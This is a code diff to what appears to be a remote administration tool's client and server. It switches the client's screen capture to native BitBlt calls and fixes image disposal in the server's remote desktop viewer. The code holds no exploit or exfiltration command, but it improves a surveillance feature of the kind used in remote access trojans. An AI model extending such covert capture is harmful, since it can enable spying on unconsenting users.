diff --git a/Client/Core/Commands/SurveillanceHandler.cs b/Client/Core/Commands/SurveillanceHandler.cs index b04bf8e7..5287f501 100644 --- a/Client/Core/Commands/SurveillanceHandler.cs +++ b/Client/Core/Commands/SurveillanceHandler.cs @@ -62,7 +62,7 @@ public static void HandleGetDesktop(Packets.ServerPackets.GetDesktop command, Cl Bitmap desktop = null; try { - desktop = RemoteDesktopHelper.GetDesktop(command.Monitor); + desktop = RemoteDesktopHelper.CaptureScreen(command.Monitor); desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height), ImageLockMode.ReadWrite, desktop.PixelFormat); diff --git a/Client/Core/Helper/RemoteDesktopHelper.cs b/Client/Core/Helper/RemoteDesktopHelper.cs index 0ab5e864..d80e3425 100644 --- a/Client/Core/Helper/RemoteDesktopHelper.cs +++ b/Client/Core/Helper/RemoteDesktopHelper.cs @@ -1,20 +1,33 @@ -using System.Drawing; -using System.Drawing.Imaging; +using System; +using System.Drawing; using System.Windows.Forms; +using xClient.Core.Utilities; namespace xClient.Core.Helper { public static class RemoteDesktopHelper { - public static Bitmap GetDesktop(int screenNumber) + private const int SRCCOPY = 0x00CC0020; + + public static Bitmap CaptureScreen(int screenNumber) { - var bounds = GetBounds(screenNumber); - var screenshot = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb); - using (Graphics graph = Graphics.FromImage(screenshot)) + Rectangle bounds = GetBounds(screenNumber); + IntPtr desktopHandle = NativeMethods.GetDesktopWindow(); + Bitmap screen = new Bitmap(bounds.Width, bounds.Height); + + using (Graphics g = Graphics.FromImage(screen)) { - graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy); - return screenshot; + IntPtr destDeviceContext = g.GetHdc(); + IntPtr srcDeviceContext = NativeMethods.GetWindowDC(desktopHandle); + + NativeMethods.BitBlt(destDeviceContext, 0, 0, bounds.Width, bounds.Height, srcDeviceContext, bounds.X, + bounds.Y, SRCCOPY); + NativeMethods.ReleaseDC(desktopHandle, srcDeviceContext); + + g.ReleaseHdc(destDeviceContext); } + + return screen; } public static Rectangle GetBounds(int screenNumber) diff --git a/Client/Core/Utilities/NativeMethods.cs b/Client/Core/Utilities/NativeMethods.cs index 94813836..ef6f6b0f 100644 --- a/Client/Core/Utilities/NativeMethods.cs +++ b/Client/Core/Utilities/NativeMethods.cs @@ -18,6 +18,36 @@ public static class NativeMethods [DllImport("user32.dll")] public static extern void mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo); + [DllImport("user32.dll", SetLastError = false)] + public static extern IntPtr GetDesktopWindow(); + + [DllImport("user32.dll")] + public static extern IntPtr GetWindowDC(IntPtr hWnd); + + [DllImport("user32.dll")] + public static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC); + + /// + /// Performs a bit-block transfer of the color data corresponding to a + /// rectangle of pixels from the specified source device context into + /// a destination device context. + /// + /// Handle to the destination device context. + /// The leftmost x-coordinate of the destination rectangle (in pixels). + /// The topmost y-coordinate of the destination rectangle (in pixels). + /// The width of the source and destination rectangles (in pixels). + /// The height of the source and the destination rectangles (in pixels). + /// Handle to the source device context. + /// The leftmost x-coordinate of the source rectangle (in pixels). + /// The topmost y-coordinate of the source rectangle (in pixels). + /// A raster-operation code. + /// + /// true if the operation succeedes, false otherwise. To get extended error information, call . + /// + [DllImport("gdi32.dll", EntryPoint = "BitBlt", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool BitBlt([In] IntPtr hdc, int nXDest, int nYDest, int nWidth, int nHeight, [In] IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop); + [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); diff --git a/Server/Forms/FrmRemoteDesktop.cs b/Server/Forms/FrmRemoteDesktop.cs index 31ad1d4d..e582d481 100644 --- a/Server/Forms/FrmRemoteDesktop.cs +++ b/Server/Forms/FrmRemoteDesktop.cs @@ -93,7 +93,13 @@ public void UpdateImage(Bitmap bmp, bool cloneBitmap = false) CountFps(); picDesktop.Invoke((MethodInvoker) delegate { + // get old image to dispose it correctly + var oldImage = picDesktop.Image; + picDesktop.Image = cloneBitmap ? (Bitmap) bmp.Clone() : bmp; + + if (oldImage != null) + oldImage.Dispose(); }); } catch (InvalidOperationException)